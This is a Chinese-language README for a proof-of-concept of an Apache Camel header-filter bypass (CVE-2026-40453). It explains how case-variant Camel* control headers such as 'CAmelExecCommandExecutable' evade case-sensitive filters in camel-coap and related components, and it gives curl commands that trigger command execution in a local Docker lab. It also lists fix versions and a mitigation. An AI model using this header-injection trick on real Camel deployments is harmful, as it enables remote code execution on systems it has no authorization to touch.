本项目演示了 CVE-2026-40453 — 针对 CVE-2025-27636 的不完整修复。2025年的修复为 HttpHeaderFilterStrategy 添加了 setLowerCase(true),使得案例变体头部名称(例如 CAmelExecCommandExecutable)能与规范的 CamelExecCommandExecutable 一起被过滤。但同样的调用 没有 应用于五个非HTTP的 HeaderFilterStrategy 实现(camel-jms、camel-sjms、camel-coap、camel-google-pubsub),这些实现在大小写敏感地进行过滤,而Camel Exchange中的头部存储在一个大小写不敏感的映射中。因此,攻击者可以注入一个案例变体的 Camel* 控制头部,它绕过过滤器但仍然被下游组件(camel-exec、camel-file 等)以其规范名称解析 → 远程代码执行 / 任意文件写入。
此复现程序使用 camel-coap(自包含,无需外部代理)演示了绕过;同样的缺陷影响JMS/SJMS/Google-Pubsub策略。
安全公告:https://camel.apache.org/security/CVE-2026-40453.html
| 属性 | 值 |
|---|---|
| 组件 | camel-jms、camel-sjms、camel-coap、camel-google-pubsub(此PoC使用camel-coap) |
| 受影响的类 | JmsHeaderFilterStrategy、ClassicJmsHeaderFilterStrategy、SjmsHeaderFilterStrategy、CoAPHeaderFilterStrategy、GooglePubsubHeaderFilterStrategy |
| 根本原因 | 大小写敏感的 startsWith("Camel"/"camel") 过滤(缺少 setLowerCase(true))与大小写不敏感的Exchange头部映射 |
| CWE | CWE-20(输入验证不当)— 消息头部注入 |
| 影响 | 通过头部驱动的执行器实现远程代码执行/任意文件写入 |
| 受影响版本 | 从 3.0.0 到 4.14.6 之前、从 4.15.0 到 4.18.2 之前、从 4.19.0 到 4.20.0 之前 |
| 修复版本 | 4.14.6、4.18.2、4.20.0 |
| JIRA | CAMEL-23313(完成CVE-2025-27636的修复) |
| 报告者 | Saroj Khadka |
CoAPHeaderFilterStrategy(受影响版本)以大小写敏感的方式过滤 Camel*:
public CoAPHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// MISSING: setLowerCase(true);
}
当CoAP请求到达时,CamelCoapResource.handleRequest() 将每个URI查询参数映射到Exchange的In头部,并通过 strategy.applyFilterToExternalHeaders(name, value, exchange) 进行过滤:
CamelExecCommandExecutable — startsWith("Camel") 为 true → 被过滤。CAmelExecCommandExecutable — startsWith("Camel") 为 false (CAm ≠ Cam) → 未被 过滤。Exchange头部映射是大小写不敏感的,因此后续的执行器生产者以其规范名称 CamelExecCommandExecutable 解析该案例变体头部,从而覆盖命令。
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello")
.convertBodyTo(String.class);
mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal # -> hello
curl http://localhost:8080/exploit/canonical
# 注入 CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false (过滤器会剥离规范的 Camel* 头部)
curl http://localhost:8080/exploit/attack
# 注入 CAmelExecCommandExecutable / CAmelExecCommandArgs(大写A)
# -> /tmp/pwned created: true (案例变体绕过了大小写敏感的过滤器)
docker exec cve-2026-40453 ls -la /tmp/pwned
docker compose down
升级至 4.14.6 / 4.18.2 / 4.20.0。修复(CAMEL-23313)为五个非HTTP的 HeaderFilterStrategy 实现添加了 setLowerCase(true),使得案例变体 Camel* 名称也能被过滤。
在升级之前:
HeaderFilterStrategy 并设置 setLowerCase(true),或使用 removeHeaders 配合大小写不敏感的模式。CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CoapExecRoute.java # 受害者:from(coap).to(exec)
│ └── ExploitController.java # /normal, /canonical (被过滤), /attack (案例变体绕过)
└── resources/
└── application.properties
此复现程序仅供安全研究和授权测试使用,针对一个已公开披露并修复的漏洞。请勿在未经明确许可的情况下将其用于任何系统。